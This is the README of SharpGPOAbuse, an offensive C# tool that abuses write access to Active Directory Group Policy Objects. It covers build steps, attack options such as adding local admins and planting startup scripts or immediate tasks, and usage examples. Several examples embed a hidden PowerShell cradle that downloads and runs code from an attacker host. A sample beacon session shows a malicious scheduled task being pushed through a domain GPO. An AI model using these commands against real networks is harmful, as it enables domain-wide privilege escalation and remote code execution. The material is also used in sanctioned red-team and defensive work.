SharpGPOAbuse

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.

More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse

Compile Instructions

SharpGPOAbuse has been built against .NET 3.5 and is compatible with Visual Studio 2017. Simply open the solution file and build the project.

CommandLineParser has been used in order to parse the command line arguments. This package will need to be installed by issuing the following command into the NuGet Package Manager Console:

Install-Package CommandLineParser -Version 1.9.3.15

After compiling the project, merge the SharpGPOAbuse.exe and the CommandLine.dll into one executable file using ILMerge:

ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

Usage

Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Attacks Types

Currently SharpGPOAbuse supports the following options:

Option	Description
--AddUserRights	Add rights to a user
--AddLocalAdmin	Add a user to the local admins group
--AddComputerScript	Add a new computer startup script
--AddUserScript	Configure a user logon script
--AddComputerTask	Configure a computer immediate task
--AddUserTask	Add an immediate task to a user

Attack Options

Adding User Rights

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task

Options required to add a new computer or user immediate task:
--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Additional Options

Option	Description
--DomainController	Set the target domain controller
--Domain	Set the target domain
--Force	Overwrite existing files if required

Example Output

beacon> execute-assembly /root/Desktop/SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

huskersec / SharpGPOAbuse